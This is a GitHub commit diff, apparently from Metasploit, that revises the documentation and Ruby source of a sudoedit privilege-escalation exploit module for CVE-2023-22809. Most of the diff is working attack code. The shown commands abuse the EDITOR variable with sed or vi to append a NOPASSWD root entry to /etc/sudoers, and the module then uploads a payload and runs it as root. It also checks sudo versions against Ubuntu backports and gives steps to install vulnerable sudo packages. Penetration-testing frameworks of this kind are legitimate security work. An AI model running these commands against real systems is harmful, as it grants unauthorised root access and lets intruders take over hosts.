Skip to content

Commit

Permalink
review fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed May 5, 2023
1 parent 95562e0 commit e692e92
Show file tree
Hide file tree
Showing 2 changed files with 86 additions and 38 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,11 @@ append arbitrary entries to the list of files to process. This can lead to privi
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
privileges.

Affected versions are 1.8.0 through 1.9.12.p1.
Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
22.04 and 22.10.

The check method for this module will only work with Debian based systems. However,
many *nix based systems should be vulnerable.

This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
1.9.11p3-1ubuntu1 on Ubuntu 22.10.

### Exploit Breakdown

Expand All @@ -30,23 +29,34 @@ Next we execute out payload, launching it through our shell.
Many of the PoCs work via user input where you have to manually edit `/etc/sudoers`. Obviously this strategy
won't work with Metasploit, as we need to automate it. Early attempts tried to script `vi` into performing
the write and quite command, similar to:
`EDITOR="vi -c ':$' -c ':s/$/\\ruser ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd`
```EDITOR="vi -c ':$' -c ':s/$/\\r`whoami` ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd```
However, the command didn't do well with newlines and escaping.

`sed` however is a valid editor, so it was relatively trivial to script out adding the new entry via sed:
```EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: ALL' -- /etc/sudoers" sudo -e /etc/motd```

#### Fedora 21
#### Results from other OSes

Most of the errors are similar to:

```
[*] Executing command: EDITOR="sed -i -e '$ a fedora ALL=(ALL:ALL) NOPASSWD: /bin/sh # ZMoAqOkBfR9e' -- /etc/sudoers" sudo -S -e /etc/passwd
[*] Executing command: EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh # 2Iq0tUAqsqtn' -- /etc/sudoers" sudo -S -e /etc/motd
[*] sudo: --: editing files in a writable directory is not permitted
[*] sed: -e expression #1, char 1: unknown command: `''
```


### Install

On Ubuntu 22.04:
#### On Ubuntu 22.10:

```
https://mirrors.wikimedia.org/ubuntu/ubuntu/pool/main/s/sudo/sudo_1.9.11p3-1ubuntu1_amd64.deb
sudo dpkg -i sudo_1.9.11p3-1ubuntu1_amd64.deb
```

Follow the 22.04 instructions, after installing the deb package, to configure the host.

#### On Ubuntu 22.04:

```
wget http://security.ubuntu.com/ubuntu/pool/main/s/sudo/sudo_1.9.9-1ubuntu2_amd64.deb
Expand Down Expand Up @@ -90,6 +100,10 @@ if auto detection fails.

Which shell to use. Defaults to `/bin/sh`

### TIMEOUT

The amount of time to wait for a `sudo` command to respond. Defaults to `5`.


## Scenarios

Expand Down
90 changes: 62 additions & 28 deletions modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb
Original file line number Diff line number Diff line change
Expand Up @@ -26,12 +26,11 @@ def initialize(info = {})
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
privileges.
Affected versions are 1.8.0 through 1.9.12.p1.
Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
22.04 and 22.10.
The check method for this module will only work with Debian based systems. However,
many *nix based systems should be vulnerable.
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
1.9.11p3-1ubuntu1 on Ubuntu 22.10.
},
'License' => MSF_LICENSE,
'Author' => [
Expand Down Expand Up @@ -66,10 +65,15 @@ def initialize(info = {})
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),
OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ])
OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),
OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),
]
end

def timeout
datastore['TIMEOUT']
end

# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
Expand All @@ -90,50 +94,76 @@ def get_editable_file
editable_file
end

def get_sudo_version_from_sudo
package = cmd_exec('sudo --version')
package = package.split(' ')[2] # Sudo version XXX
begin
Rex::Version.new(package)
rescue ArgumentError
# this happens on systems like debian 8.7.1 which doesn't have sudo
Rex::Version.new(0)
end
end

def check
sys_info = get_sysinfo

# Check the app is installed and the version
if sys_info['distro'] == 'ubuntu' || sys_info['distro'] == 'debian'
if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'
package = cmd_exec('dpkg -l sudo | grep \'^ii\'')
package = package.split(' ')[2] # ii, package name, version, arch for debian, or Sudo version XXX for other
ver_no = Rex::Version.new(package)
package = package.split(' ')[2] # ii, package name, version, arch
begin
ver_no = Rex::Version.new(package)
rescue ArgumentError
ver_no = get_sudo_version_from_sudo
end
else
package = cmd_exec('sudo --version')
package = package.split(' ')[2] # ii, package name, version, arch for debian, or Sudo version XXX for other
ver_no = Rex::Version.new(package)
ver_no = get_sudo_version_from_sudo
end

# according to CVE listing, but so much backporting...
minimal_version = '1.8.0'
maximum_version = '1.9.12p1'
exploitable = false

# backporting... so annoying.
# https://ubuntu.com/security/CVE-2023-22809
if sys_info['distro'] == 'ubuntu'
if sys_info['version'].include? '22.10' # kinetic
if sys_info[:distro] == 'ubuntu'
if sys_info[:version].include? '22.10' # kinetic
exploitable = true
maximum_version = '1.9.11p3-1ubuntu1.1'
elsif sys_info['version'].include? '22.04' # jammy
elsif sys_info[:version].include? '22.04' # jammy
exploitable = true
maximum_version = '1.9.9-1ubuntu2.2'
elsif sys_info['version'].include? '20.04' # focal
elsif sys_info[:version].include? '20.04' # focal
maximum_version = '1.8.31-1ubuntu1.4'
elsif sys_info['version'].include? '18.04' # bionic
elsif sys_info[:version].include? '18.04' # bionic
maximum_version = '1.8.21p2-3ubuntu1.5'
elsif sys_info['version'].include? '16.04' # xenial
elsif sys_info[:version].include? '16.04' # xenial
maximum_version = '1.8.16-0ubuntu1.10+esm1'
elsif sys_info['version'].include? '14.04' # trusty
elsif sys_info[:version].include? '14.04' # trusty
maximum_version = '1.8.9p5-1ubuntu1.5+esm7'
end
end

if ver_no == Rex::Version.new(0)
return Exploit::CheckCode::Unknown('Unable to detect sudo version')
end

if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)
vprint_good("sudo version #{ver_no} is vulnerable")
# check if theres an entry in /etc/sudoers that allows us to edit a file
editable_file = get_editable_file
if editable_file.nil?
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")
else
if exploitable
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")
else
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")
end
elsif exploitable
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")
else
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploitabed by this module")
end
end

Expand All @@ -160,22 +190,24 @@ def exploit
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)

timeout = 5 # anything more than this we're stuck at a 'enter password' prompt
@flag = Rex::Text.rand_text_alphanumeric(12)
print_status 'Adding user to sudoers'
# we tack on a flag so we can easily grep for this line and clean it up later
command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}"
vprint_status("Executing command: #{command}")

output = cmd_exec command, nil, timeout
if output.include? 'editing files in a writable directory is not permitted'
print_good('Likely successful exploitation, detected possitive error message: editing files in a writable directory is not permitted')
if output.include? '/etc/sudoers unchanged'
fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')
end

if output.include? 'sudo: ignoring editor'
fail_with(Failure::NotVulnerable, 'sudo is patched')
end

output.each_line { |line| vprint_status line.chomp }
print_status('Spawning payload')

timeout = 60
# output = cmd_exec "sudo -S nohup #{@payload_path} &", nil, timeout
# -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell
# also, attempting to thread off of sudo was problematic, solution was
# https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh
Expand All @@ -186,9 +218,11 @@ def exploit

def on_new_session(session)
if @flag
print_bad("Manual cleanup is likely required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")
# attempt anyways, but likely doesn't work
session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers")
flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")
if flag_found.include? @flag
print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")
end
end
super
end
Expand Down

0 comments on commit e692e92

Please sign in to comment.